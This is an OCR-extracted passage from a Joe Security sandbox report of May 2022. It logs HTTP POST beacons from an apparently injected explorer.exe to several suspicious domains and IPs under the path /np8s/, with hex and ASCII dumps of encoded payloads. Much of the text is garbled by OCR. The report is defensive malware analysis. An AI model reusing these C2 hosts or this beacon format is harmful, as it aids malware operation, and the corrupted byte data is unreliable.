Content-Length: 1589

Connection: close

Vary: Accept-Encoding

Data Raw: 3c 68 74 6d 6¢ 20 78 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f
78 68 74 6d 6¢ 22 3e 0d Oa 3c 68 65 61 64 3e 0d Oa 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 74 69 74 6¢ 65
3d 27 c¢1 d6 d6 a5 cc c8 be d6 be af cd ¢5 d3 dO cf de d4 fO c8 ce b9 ab cb be 27 3b 3c 2f 73 63 72 69 70 74 3e 0d Oa 3c
74 69 74 6¢ 65 3e 26 23 32 32 38 32 37 3b 26 23 32 32 39 31 39 3b 26 23 32 30 31 33 32 3b 26 23 32 35 34 34 32 3b 26
233234 36 31 35 3b 26 23 31 39 39 37 37 3b 26 23 32 30 30 31 33 3b 26 23 32 35 39 39 31 3b 26 23 32 33 33 38 33 3b
26 233234313439 3b2c 26 23 32 37 3433 31 3b 26 23 33 32 36 35 34 3b 26 23 33 32 39 38 32 3b 26 23 33 32 37 36
39 3b 26 23 32 32 38 32 36 3b 26 23 39 38 3b 26 23 39 38 3b 26 23 39 38 3b 26 23 39 38 3b 26 23 39 38 3b 2c 26 23 32
34 34 33 33 3b 26 23 33 38 38 39 39 3b 26 23 32 30 38 30 38 3b 26 23 33 38 31 35 35 3b 26 23 33 33 33 39 34 3b 26 23
36 35 3b 26 23 38 36 3b 26 23 33 36 31 36 34 3b 26 23 32 38 33 30 34 3b 26 23 33 32 35 39 33 3b 2c 26 23 32 37 34 33
31 3b 26 23 33 32 36 35 34 3b 26 23 33 32 39 38 32 3b 26 23 33 32 37 36 39 3b 26 23 32 32 38 32 36 3b 26 23 39 38 3b
26 23 39 38 3b 26 23 39 38 3b 26 23 39 38 3b 26 23 39 38 3b 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 6d 65 74 61 20 6e 61 6d
65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 32 32 38 32 37 3b 26 23 32 32 39 31 39 3b 26
233230 31 33 32 3b 26 23 32 35 34 34 32 3b 26 23 32 34 36 31 35 3b 26 23 31 39 39 37 37 3b 26 23 32 30 30 31 33 3b
26 2332 35 39 39 31 3b 26 23 32 33 33 38 33 3b 26 23 32 34 31 34 39 3b 2c 26 23 32 37 34 33 31 3b 26 23 33 32 36 35
34 3b 26 23 33 32 39 38 32 3b 26 23 33 32 37 36 39 3b 26 23 32 32 38 32 36 3b 26 23 39 38 3b 26 23 39 38 3b 26 23 39
38 3b 26 23 39 38 3b 26 23 39 38 3b 2c 26 23 32 34 34 33 33 3b 26 23 33 38 38 39 39 3b 26 23 32 30 38 30 38 3b 26 23
333831 35 353b 26 23 33 33 33 39 34 3b 26 23 36 35 3b 26 23 38 36 3b 26 23 33 36 31 36 34 3b 26 23 32 38 33 30 34
3b 26 23 33 32 35 39 33 3b 2c 26 23 32 37 34 33 31 3b 26 23 33 32 36 35 34 3b 26 23 33 32 39 38 32 3b 26 23 33 32 37
36 39 3b 26 23 32 32 38 32 36 3b 26 23 39 38 3b 26 23 39 38 3b 26 23 39 38 3b 26 23 39 38 3b 26 23 39 38 3b 22 20 2f
3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23
3232383237 3b 26 23 3232 39 31 39 3b 26 23 32 30 31 33 32 3b 26 23 32 35 34 34 32 3b 26 23 32 34 36 31 35 3b 26
23313939 37 37 3b 26 23 32 30 30 31 33 3b 26 23 32 35 39 39 31 3b 26 23 32 33 33 38 33 3b 26 23 32 34 31 34 39 3b
2c 26 23 32 37 34 33 31 3b 26 23 33 32 36 35 34 3b 26 23 33 32 39 38 32 3b 26 23 33 32 37 36 39 3b 26 23 32 32 38 32
36 3b 26 23 39 38 3b 26 23 39 38 3b 26 23 39 38 3b 26 23 39 38 3b 26 23 39 38 3b 2c 26 23 32 34 34 33 33 3b 26 23 33
38 38 39 39 3b 26 23 32 30 38 30 38 3b 26 23 33 38 31 35 35 3b 26 23 33 33 33 39 34 3b 26 23 36 35 3b 26 23 38 36 3b
26 23 33 36 31 36 34 3b 26 23 32 38 33 30 34 3b 26 23 33 32 35 39 33 3b 2c 26 23 32 37 34 33 31 3b 26 23 33 32 36 35
34 3b 26 23 33 32 39 38 32 3b 26 23 33 32 37 36 39 3b 26 23 32 32 38 32 36 3b 26 23 39 38 3b 26 23 39 38 3b 26 23 39
38 3b 26 23 39 38 3b 26 23 39 38 3b 2c 26 23 32 32 32 36 39 3b 26 23 32 30 31 33 35 3b 26 23 32 36 30 38 35 3b 26 23
33383838 39 3b 26 23 32 37 34 33 31 3b 26 23 33 32 36 35 34 3b 26 23 31 39 39 36 38 3b 26 23 32 31 33 30 36 3b 26
23323031 3038 3b 2623 32 31 33 30 36 3b 26 23 31 39 39 37 37 3b 26 23 32 31 33 30 36 3b 2c 26 23 32 37 34 33 31
3b 26 23 33 32 36 35 34 3b 26

Data Ascii: <html xmIns="http://www.w3.0rg/1999/xhtml"><head><script>document.title=";</script><title>&#22827
1&#22919;8#20132;&#25442;&#24615;8&#19977;8#20013;&#25991;&#23383;8#24149;,&#27431;&#32654,&#32982;&#
32769;&#22826;8#98;8#98;&#98;&#98,;8#98;,8#24433;8#38899;8#20808;8#38155;8#33394;8#65;8#86;8#36164; &#
28304;&#32593;,&#27431;8#32654;8#32982;&#32769;&#22826,&#98,&#98;8#98;8#98;&#98; </title><meta name="
keywords" content="8#22827;&#22919;8#20132;8#25442;8#24615;&#19977;&#20013;&#25991;&#23383;8#24149;,
&#27431;&#32654;8#32982;8#32769;&#22826,8#98;&#98;8#98;&#98;8#98;,&#24433;8#38899;8#20808;8#38155;8#
33394,;&1#65;8#86;&#36164;&#28304;&#32593;,8#27431,8#32654;8#32982;&#32769;&#22826;8#98;&#98;8#98;&#98
;&#98;" [><meta name="description" content="&#22827;&#22919;8#20132;&#25442;8+#24615;&#19977;&#20013;
&#25991,;&#23383;&#24149;,8#27431,8#32654,8#32982,;8#32769;&#22826;&#98;&#98;&#98;8#98;&#98;,&#24433;&
#38899;8#20808;&#38155;&#33394;&#65,&#86,8#36164;8#28304;&#32593;,8#27431,8#32654;8#32982;8#32769;8#
22826;&#98;8#98;&#98;&#98;8#98;,&#22269;8#20135;8#26085;8#38889;8#27431;8#32654;8#19968;8#21306;&#20
108;&#21306;8#19977;&#21306;,8#27431,;&#32654;&

Destination IP Destination Port Process

68.66.224.33 80 C:\Windows\explorer.exe
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kBytes

Timestamp T Direction
May 27, 2022 381 ouT
19:05:45.884793043
CEST
May 27, 2022 395 IN
19:05:46.055772066
CESIl
Session ID Source IP Source Port
2 192.168.2.6 49779
. kBytes . .
Ti Di
imestamp transferred irection
May 27, 2022 148 ouT
19:05:12.376339912
CEST

Copyright Joe Security LLC 2022

85.159.66.93 80

Data

POST /np8s/ HTTP/1.1

Host: www.getbusinesscreditandfunding.com

Connection: close

Content-Length: 416

Cache-Control: no-cache

Origin: http://www.getbusinesscreditandfunding.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.getbusinesscreditandfunding.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 33 66 6b 34 6f 4e 3d 37 72 64 58 7e 50 67 4f 4b 39 5a 4d 4b 38 4c 33 34 6a 6a 70 28 58 71 57 4e 59 56 34 68
46 49 57 6a 57 70 7a 75 61 57 4a 47 72 50 32 58 56 56 43 62 71 76 77 6d 6d 4a 67 39 5f 47 42 4b 42 67 6¢ 30 64 4c 55
70 6b 59 42 79 67 74 65 38 6a 7a 41 58 31 6¢ 70 68 63 70 72 7a 4d 28 5f 59 6b 61 36 72 4f 4f 73 39 65 6b 4c 32 76 52 79
46 3936 61 75 2d 51 38 61 46 77 78 66 6d 65 63 65 63 52 46 76 67 69 78 57 6b 47 6b 62 58 64 50 69 2d 38 53 68 58 35
6e 56 65 76 77 67 75 32 37 6d 5f 79 77 4d 32 31 6f 51 48 66 6¢ 70 69 35 50 79 59 73 56 50 30 4c 51 57 43 70 2d 61 6¢ 5
4 44 5a 46 62 4c 72 57 4f 63 6¢ 79 6f 49 68 53 55 4d 4a 2d 35 69 4b 63 34 53 66 4b 51 34 47 67 54 34 43 48 53 59 62 39
56 44 61 37 4b 79 48 57 63 50 37 74 28 78 33 30 38 6f 70 63 6a 58 37 41 65 69 78 54 47 6f 52 31 4a 49 45 79 42 38 65
31 5a 71 5a 5056 49 4e 32 67 4d 72 4f 43 58 67 61 76 78 42 34 66 69 39 4d 30 70 33 49 52 39 38 43 65 65 52 6¢ 39 74
47 62 6b 6¢ 73 79 32 36 47 41 34 4a 70 5a 61 36 78 5a 34 7a 70 4e 78 70 71 73 6e 69 47 47 62 77 39 4e 28 4 31 38 74
6f 62 46 77 67 4d 46 30 52 4c 4e 34 44 37 66 32 64 38 71 63 44 4c 70 55 5a 58 38 73 48 43 7a 6¢ 4e 50 71 69 32 55 38
72 6f 79 4a 65 49 73 52 72 76 6¢ 70 49 6e 51 68 4c 62 45 44 52 33 6¢ 52 4d 2e 00 00 00 00 00 00 00 00

Data Ascii: 3fk4oN=7rdX~PgOK9ZMK8L34jjp(XqWNYV4hFIWjWpzuaWJIGrP2XVVCbhgvwmmJdg9 GBKBgl0dLUpkY
Bygte8jzAX1lIphcprzM(_Yka6rOOs9ekL2vRyF96au-Q8aFwxfmececRFvgixWkGkbXdPi-8ShX5nVevwgu27m_ywM
210QHfIpi5PYyYsVPOLQWCp-alTDZFbLrWOclyolhSUMJ-5iKc4SfKQ4GgT4CHSYb9VDa7KyHWcP7t(x3080pcjX7Ae
iIXTGOR1JIEyB8e1ZqZPVIN2gMrOCXgavxB4fi9MOp3IR98CeeRItGbkisy26 GA4JIpZabxZ4zpNxpgsniGGbwIN(N1
8tobFwgMFORLN4D7f2d8gcDLpUZX8sHCzINPqi2U8royJelsRrvipinQhLbEDR3IRM.

HTTP/1.1 301 Moved Permanently

Date: Fri, 27 May 2022 17:05:45 GMT

Server: Apache

Strict-Transport-Security: max-age=63072000; includeSubDomains

X-Frame-Options: SAMEORIGIN

X-Content-Type-Options: nosniff

Location: https://www.getbusinesscreditandfunding.com/np8s/

Content-Length: 257

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 33 30 31 20 4d
6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c
68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e Oa 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e
742068 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 65 74 62 75 73
69 6e 65 73 73 63 72 65 64 69 74 61 6e 64 66 75 6e 64 69 6e 67 2e 63 6f 6d 2f 6e 70 38 73 2f 22 3e 68 65 72 65 3¢ 2f 61
3e 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>301 Moved Permanent
ly</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.getbusinesscre
ditandfunding.com/np8s/“>here</a>.</p></body></htmI>

Destination IP  Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.siberup.xyz

Connection: close

Content-Length: 36488

Cache-Control: no-cache

Origin: http://www.siberup.xyz

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.siberup.xyz/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 33 66 6b 34 6f 4e 3d 54 42 6a 6¢ 49 49 7e 70 69 34 42 4f 4e 7a 35 5a 45 7a 73 54 58 30 47 56 62 34 51 36 77
4b 34 49 6f 77 61 59 72 5a 79 70 62 45 47 6d 78 32 43 69 34 68 78 6d 66 75 43 55 75 51 31 7a 61 57 6f 69 35 38 71 70
50536242 61 72 77 51 67 79 53 39 4b 79 6¢ 45 6f 43 34 69 4a 63 71 6¢ 34 6a 69 48 4d 57 4b 49 6f 4f 55 6d 33 38 46 48
55 32 7a 58 62 61 6a 72 39 4e 44 39 4e 38 49 37 57 4a 78 53 6d 56 6e 50 6a 4b 33 47 47 44 45 4d 78 6b 45 6d 42 49 4b
30 6a 4b 66 33 74 66 58 37 54 56 72 6d 52 5f 61 57 57 47 34 31 41 6b 50 43 35 63 46 36 35 52 43 5f 6f 6e 46 70 51 6e 6
7 34 53 5f 4f 63 6f 73 7e 39 6f 55 59 48 61 68 7e 6e 39 58 73 47 72 5a 77 61 58 41 28 76 59 68 4d 31 67 66 6f 49 68 70 6
a 47 76 46 4f 66 7a 75 65 34 72 34 58 49 36 4c 75 6¢ 62 38 43 46 34 4e 49 72 57 61 63 55 72 51 6¢ 6e 67 6d 51 61 36 47
50 6a 48 72 61 62 75 45 76 61 59 57 56 56 31 76 6a 46 76 62 71 6b 41 38 46 65 4a 35 61 7a 65 34 33 59 38 4a 51 46 4b
6a 4f 4d 35 5a 73 4a 5a 51 61 37 50 72 4f 65 67 65 67 58 58 56 56 37 34 54 53 6d 30 79 38 59 46 78 59 50 6b 37 6a 4a
4a 3059 47 74 4f 52 62 48 6d 4a 32 57 78 37 6d 5a 43 62 74 6a 37 56 6b 4a 45 41 71 30 33 36 76 36 70 7a 4f 68 43 67
46 39 74 70 69 61 57 7e 4e 30 37 67 32 73 46 32 6d 28 34 39 5a 74 43 32 51 64 79 68 42 66 4a 39 38 44 61 77 6f 67 47
4f 79 6f 42 67 69 72 62 4a 41 79 63 4d 55 6f 78 47 76 6b 69 61 54 4f 4d 30 55 35 4e 68 52 69 68 69 41 72 6b 54 48 32 41
7a 71 4c 36 6d 6b 66 43 66 35 58 47 35 48 4c 79 75 4d 44 54 68 6¢ 6d 50 39 63 4f 51 76 6e 55 57 28 6d 65 4e 30 62 32
56 72 4a 76 5f 6e 44 4a 75 5a 74 34 64 69 52 48 49 70 56 53 73 6d 56 70 5f 33 53 78 2d 62 46 39 35 45 55 74 6¢ 76 4d
6b 68 41 5f 5a 47 77 4a 57 68 53 56 62 73 43 54 52 61 7a 6¢ 4d 39 51 46 68 38 54 66 4d 30 50 43 41 47 42 51 62 4¢ 70
7569 4c 31 47 45 4d 49 6b 67 4a 67 77 61 68 7e 62 6d 75 38 57 68 5a 42 62 45 57 4a 6d 75 57 6b 51 5a 4c 6b 77 79 72
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Timestamp

May 27, 2022
19:05:12.518445015
CEST

Session ID

20

Timestamp

May 27, 2022
19:05:46.049190044
CEST

kBytes
transferred

173

Source IP

192.168.2.6

kBytes
transferred

395

Copyright Joe Security LLC 2022

Direction

Source Port

49812

Direction

ouT

59 64 34 55 48 43 6e 65 7a 64 35 55 4t 35 68 6t 4e 66 6a 46 44 71 65 54 52 4e 7443 62 70 77 67 78 6C 44 6¢ 70 79 34
DAt 2d 30 32 53 53 64 4b 37 35 75 64 70 4a 5a 43 7a 49 52 76 4f 71 4d 72 78 71 31 32 70 74 32 53 48 75 46 75 54 57
57 65 7a 33 4a 37 68 67 32 4c 5a 36 6¢ 74 56 75 38 79 35 4b 6b 79 72 59 73 31 68 56 38 74 41 54 59 6d 35 58 71 4f 54
61 68 74 61 4e 4c 61 70 36 71 4f 4d 37 6d 75 4a 34 6e 63 6¢ 50 4a 71 5a 75 6¢ 76 76 5f 28 6b 46 42 6a 31 7e 69 38 64
63 6b 55 6e 69 2d 56 5f 4f 74 73 55 46 66 61 46 5a 61 49 51 37 34 4f 30 70 6b 4d 77 49 4e 63 37 71 52 7a 67 76 53 77
56 68 6e 76 6f 4a 69 68 64 53 64 79 5a 74 75 70 38 67 2d 75 38 45 4d 53 4f 63 4d 5a 41 31 32 65 61 54 63 32 45 59 4d
52 30 59 58 39 37 38 58 67 37 6f 6f 4a 52 5a 55 72 67 6f 36 53 44 6d 6e 31 71 6a 35 4f 49 52 50 63 78 34 71 36 36 46 47
39 78 48 4e 6¢ 45 63 50 68 4c 42 69 7a 37 38 4c 67 51 63 73 47 41 4b 45 46 78 4e 6¢ 4a 35 28 63 48 42 76 62 74 68 75
42 66 6f 75 4f 46 39 47 4e 59 30 31 63 55 4b 43 6b 49 35 73 46 45 44 75 38 46 37 61 6e 39 62 35 66 41 57 72 76 5a 49
6d 5a 45 69 53 66 4f 70 61 6f 4c 39 53 4f 38 48 39 74 77 34 41 76 33 4f 79 42 52 35 51 5f 45 4f 72 41 62 47 55 4c 31 76
7e 4e 4d 6¢ 41 6d 52 64 64 50 54 34 77 46 66 75 64 51 42 55 37 71 45 54 4a 77 54 72 66 74 33 72 4b 70 69 53 42 4d 68
4e 44 34 61 44 30 33 76 4a 67 72 6a 6¢ 35 37 57 52 7e 65 70 45 6e 5f 39 47 51 6e 5a 67 6¢ 61 4b 62 34 39 79 77 63 75
69 63 65 51 64 62 5a 74 4c 48 42 6f 35 6f 76 36 54 66 43 46 6d 61 68 72 71 70 7a 6e 52 33 65 44 7a 57 37 4a 37 5a 41
4a 6d 4f 6d 66 59 55 45 43 67 6d 79 5f 31 42 6e 44 51 4b 35 4f 6d 6d 6f 56 70 42 6d 48 30 44 77 4d 64 46 6d 42 32 76 51
5a 47 70 51 48 4e 7a 7e 41 45 62 6a 6f 36 56 52 66 78 50 68 30 4f 79 52 55 6d 75 38 49 65 77 66 68 66 53 35 38 79 49 3
4 32 50 6f 33 38 4d 5f 52 59 74 53 6d 51 55 68 33 2d 61 4f 36 77 79 6d 28 32 6d 6f 37 58 64 71 7a 39 7a 74 4a 4f 7152 5
6 42 46 30 72 5f 6f 4b 48 6e 36 78 49 42 77 48 56 48 35 74 45 5f 66 46 64 6b 63 4c 77 32 67 56 77 58 6f 62 76 50 4a 64
6a 6a 4a 72 35 46 46 48 4b 2d 37 70 58 5f 66 41 31 44 5a 56 47 4a 6f 4c 66 4f 51 61 4e 31 53 59 7a 6f 6a 49 36 77 42 2d
6d 70 57 58 67 33 6f 77 62 65 51 70 63 74 33 63 72 72 51 75 5a 45 4c 6f 51 35 52 4f 7e 79

Data Ascii: 3fk4oN=TBi|lll~pi4BONz5ZEzsTX0GVb4Q6wK4lowaYrZypbEGmx2Ci4hxmfuCUuQlzaWoi58qpPSh
BarwQgyS9KylEoC4iJcql4jiHMWKIoOUm38FHU2zXbajrONDIN8I7WIxSmVnPjK3GGDEMXKEMBIKOjKf3tFX7TVrmR
_aWWG41AKPC5cF65RC_onFpQng4S_Ocos~9o0UYHah~n9XsGrZzwaXA(vYhM1gfolhpjGvFOfzuedr4X16Lulb8 CF4NI
rWacUrQIngmQa6GPjHrabuEvaYWVV1vjFvbgkA8FeJ5aze43Y8JQFKjOM5ZsJZQa7PrOegegXXVV74TSmOy8YFxYPk
7j3J0Y GtORbHmMJ2Wx7mZCbtj7VkIEAqO36v6pzOhCgF9tpiaW~N07g2sF2m(49ZtC2QdyhBfJ98DawogGOyoBgirbJ
AycMUoxGvkiaTOMOUSNhRIihiArkTH2AzgL6mkfCf5XG5HLYuMDThiImP9cOQvnUW(meN0b2Vriv_nDJuZt4diRHIpVS
smVp_3Sx-bF95EUtivMKhA_ZGwIWhSVbsCTRazIMIQFh8TfMOPCAGBQbLpuiL 1GEMIkgJgwah~bmu8Wh
ZBbEWJImMuWkQZLkwyrYd4UHCnezd5UO5hoNfjFDgeTRNtCbpwgxIDIpy4Wd-02SSdK75udpJZCzIRvOgMrxgl12pt2SH
UFUTWWez3J7hg2LZ61tVu8y5KkyrYs1hV8tATYm5XgOTahtaNLap6qOM7muJd4nclPJgZulvv_(kFBj1~i8dckUni-V
_OtsUFfaFZalQ7400pkMwINc7gRzgvSwVhnvoJihdSdyZtup8g-uBEMSOcMZA12eaTc2EY MROYX978Xg700JRZUrgo
6SDmn1qgj50IRPcx4q66FGIXHNIECPhLBiz78LgQcsGAKEFxNIJ5(cHBvbthuBfouOF9GNYO01cUKCkISSFEDu8F7an9
b5fAWrvZImZEiSfOpaoL9SO8H9tw4Av30yBR5Q_EOrAbGUL1v~NMIAMRAdPTAWFfudQBU7qETIWTrft3rKpiSBMhND
4aD03vJgrjl57WR~epEn_9GQnZglaKb49ywcuiceQdbZtLHBo50v6 TfCFmahrqpznR3eDzW7J7ZAIJmOmfYUECgmy_1
BnDQK50mmoVpBmHODWMdFmMB2vQZGpQHNz~AEbjo6VRXPh0OyRUmu8lewfhfS58yl42P0o38M_RYtSmQUh3-
a06wym(2mo7Xdqz9ztJOgRVBFOr_oKHn6xIBWHVHS5tE_fFdkcLw2gVwXobvPJdjjdrSFFHK-7pX_fA1DZVGJoLf
0QaN1SYzojl6wB-mpWXg3owbeQpct3crrQuZELoQ5RO~yalK25sialQ8nTdut9qr3ghvQFZ9duplY1n9d9JelqgféMc
5~GBrG0ZzZB9vhJUc4bi6Y LkKuYxQGMCybkc9dMGdKII~dww~yGFF9zaQKleYdsbrmG-F_plgl6PdHoZgbzelialUBK
tTte1ff3DrRBVaDmU4usCUSpTpHo_eMs-4ngTSDq9(0keiDadxD2fZ1JA0k3uxUCPPKrogBAMqu9TEmrWEDD5fVVdY
smxzdiPHN8XdmngE6Dh58fHD5MAWN78y3TiVAOZDOFA90qJhZCuVdhxi3G3PByb4lkN59ve6kw3Ho2vXFXFDNQOzy(
80oST3_00TU20gQrcLhVZc5VAHCqg8ER1rgxX3k17y2e0QtI9U6q7K7gYGac9y6UiXVC-hhk9PENKIQ98nhSIJhmb~
iV8DY6QovY03nJDzdfvXGeCrbOfyY4X4MxtpQXAMAIBSO~tDww4XlaU3XqGAT7qRTulR5rSeUILsG2a0nmXmyGj4JP
rcwedEqz-dIIkIHWXWW~vbwhyRFg6i9SvO6604p7KBTIHCNViUrOs6 TOkt80tRQSjc4TyRrgsJAKx50zvgF4te8vDz
PPjwLNNEHISONWxVPb2~01s4RkgAiC-wJ6qnJITteONTNesdB~wgNszDd1-FkvVtzFwrRIKQieEbUxiqro51LdLrjP
3eNabgBoJQ_kb9I08RhwPBzpXOmEUwW2sHMgTOQRQNauXI1rzLIiPvBSdHVa0CWj(4yXz3EToAvdmYaKF2MyRTO6X7I
cA7qoUndWIkgNU_FpbzxHpuGWwA2HILJAYLOAdI1FSLmuL45Lj7TN8KJI2X6s7259Y 0aeFTerilzftFTqm1JtXSyAoZ
NGanVtTnlcuOX3LMRV4WW;jdg8uGJI6wWAPW6PIYyClw~e6sNMQxMNJeOBg8DKhE3EQq9YZWYTdIrUUFSH4V
y(zgY8QGeeZ5aYqoFRUTPj8TVGJI6kYcnKZuUQmgFO0l0Dfh6bXjYJGoWZrw8G78ewguanxiRcVIYPWhzYU~jHOAsz5h
1zsBsPqatWFTBCVOmsnx_Y4G4sBsTkCeHUZ7VA30UCbiJawlLKeOoWtL~yG3Y GGzWGnomwyyLfJu6Z9P632A334RsvC
WmyxRED3JM_UV9xhN20KYv5dJBvsZ380yPNagQzwciu(xFbMN3JLnAODe0SLmI8smeMcpABRGpTHNLPX
tMPAvsZq6gnCOfpfiex5KLdvONUj2ImaFpil-hJZTx53V9krSK89ImOccDmghchjOkhffékas4tUYCmJDiymxKL8Edo
k5qRTUW04n4D2DvgGqP5wLYRqGK6ZAliosRZIj39fAX5XNNscONbn(N6J3BPUKmOs6T4zFPgyz7LOrM2WADHEReP-~
2GBtxdgdVA2PzWD1z1b7gsSoHjWHpJw35f80qiQ0s51M3cV(n(PbXPhggaBCEa6MndnxR(H2B6Q10~OSX8VKkLpUoZA
388CN7djErAYsrQB66-pDtzB3h-WNI6A-7_oKF3500Ri1RVT-~DxYpgWzo5Bz6x81LWYCSelWmM68(0cG6RVBpmEod
MJpzjCzKXx7(gbzYWh9nv1ReUlyKVIEAT24TOTsZtWeXfAr4N8tpHZPIc7TUz2KQbMxYkYsSmcXNNQOLoE7xXxmBRGAU
nbzwXE3pPa5Ate0UipKp87KLCDCcRKDWZ6gu4MLC1qVNS4VR5Idjetq~R3JZnWO5TnCy8nMFb(tZj9su2KZHRRNTt6
RbQOYWzV5JLRpw_BRXxXpG~gGVvulNZwxZ3NFZxIAVGnXVfBZvsoVF-IL150i0-6BQDz3XFYFX_yTBvOV6amvegShL9X
zZW8(RrWMiLb2BNE46J72sjGMdVdLkiJSxZg8WmkP3KoijlnmAQwDueO~XjgeDzAxeuiAFc_VxtXmelTjP9pqqP15Qd
dDSd8IZA7v_agC2DOSbmBOO7rFFp14jSgsuh99caixNPx4WpdIQl4wdn15rFEGKEIilgtU_ZinnKNSorj~n11QwPRx
GagwuaRpCt5xUBXPWqvOcyuinKoRix(71pB0i3pEVe6émVPri1ZgNdDyS6lu7Enuir84jtl0QCObJRcn_HSsLvFwZI61pJhwDg-
XSMQxVQC4McBIW4MnkrihsRgeDRjd4viGyGLxZuBo1EigsxYiRoUSzG0A1J-GXRxbnLurlT66Skq09W05WZiHNmKF3JJ8
H5LTPbcCPELNAAAZFIpuw(IDK53gn~2lywzJ62reKmsmyzYYo8jxrvb2_CH67sauRrsbxmhzZ5ZXbXnkHTelfYjNUya
XOUAEir6C~aFclJ3LAIzgwEGrokz1uWri6JTk2KLrB5dc~Dnf~gap55VY~coF(FKOBxeS1nUroHeplJI892VyjTY Xo
rwLCU9npgzsmWLmMwStSRHcsv8v9zxcOWUVQg9iwnbM4ncqGyPgHs9UXDw83gL VIvdI8QkJf(4pQpHY4Us8UsFYizEN
BjtUTQ3YIRjCPB7WupCZzWo(a4QtAjyLxBmkyn0s!167 TNHZWWbKFXyV7Jp44eZck6bX8KmDNJIYGIWotQ25CiQolnf
CLnu35-xUW1ThObM7sYOQ~e50NmBh(ew049ny5kageQ4VcXU3k24YtPsuZ9~KxfWpo7fTMaR0if4ps-Oy8DIFLUYsF-
Sbtw1hKS6fVuMazb8YaQ25eZrcpdYPusmiQZUmZYHyYW?7YkpGa2PXiX6z3zJ6S7MnjbL2R24l14GvX

HTTP/1.1 404 Not Found

Server: nginx/1.14.1

Date: Fri, 27 May 2022 17:05:12 GMT
Content-Length: 0

Connection: close

X-Rate-Limit-Limit: 5s

X-Rate-Limit-Remaining: 8

X-Rate-Limit-Reset: 2022-05-27T17:05:17.4029455Z

Destination IP Destination Port Process
68.66.224.33 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1

Host: www.getbusinesscreditandfunding.com

Connection: close

Content-Length: 36488

Cache-Control: no-cache

Origin: http://www.getbusinesscreditandfunding.com

llear-Anent: Mazilla/& 0 (\Windawe NT 10 0 WinR4: vRA: Trident/7 0 nr11 0V like Gacka
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kBytes

Timestam
P transferred

Copyright Joe Security LLC 2022

Direction

U A I YA e Y Y IS YYD Y 1 ST VY IOy ATy I I § U 1 Vi) TS AU

ﬁontent—Type: application/x-www-form-urlencoded
ccept: */*

Referer: http://www.getbusinesscreditandfunding.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 33 66 6b 34 6f 4e 3d 37 72 64 58 7e 4b 68 46 41 73 46 46 50 73 4f 6e 36 57 48 39 33 45 79 51 4c 6f 68 39 39
3049 7a 30 58 34 45 71 62 6e 37 48 71 32 78 54 6¢ 35 6a 66 70 66 6f 6d 69 46 46 7a 74 69 64 5a 52 73 71 30 5a 76 2d
70 6b 63 42 7a 67 30 62 28 45 33 6d 58 58 39 71 73 63 70 58 79 4d 7e 38 4f 6d 7e 62 72 4f 37 4c 39 65 63 62 32 65 39
79 45 66 43 61 6f 39 34 33 48 31 78 62 42 33 79 51 42 73 63 70 76 6b 32 35 57 6b 4b 6b 62 6e 52 50 6a 65 4d 4e 32 41
46 6d 59 75 76 70 6¢ 75 33 72 39 76 50 57 4d 32 78 4b 51 47 7a 6¢ 71 51 64 50 79 49 4d 56 59 33 7a 54 59 53 70 5f 65
6C 54 53 64 46 65 4e 72 58 69 51 6¢ 33 45 32 68 67 49 4d 49 4f 35 76 49 37 45 72 56 37 52 75 4c 41 50 66 43 48 65 39
62 73 49 63 61 2d 79 53 48 67 59 30 6¢ 34 4c 4c 33 32 52 5f 76 38 6a 54 7a 67 65 35 78 54 47 4d 52 31 4a 32 45 79 52
386532 70 71 49 65 6¢ 49 64 57 67 4c 6e 4f 43 53 6f 36 76 69 4d 59 6a 43 39 4d 73 66 33 4a 70 54 37 77 65 65 52 32
56 74 41 36 6b 6d 31 53 32 38 44 41 34 70 74 5a 61 6¢ 78 5a 34 42 70 4d 78 35 71 37 76 69 63 33 62 77 35 76 48 4e 6¢C
63 74 6f 65 46 77 69 46 6¢ 35 55 4c 4e 51 48 37 65 47 6a 38 35 77 44 4c 37 4d 5a 57 64 73 48 46 44 6¢ 4e 41 4b 6a 6f
61 5a 62 6a 78 4f 33 2d 69 67 37 5a 6d 72 6b 54 61 57 28 54 57 52 34 74 35 6d 38 39 4e 2d 32 54 74 73 43 34 79 68 41
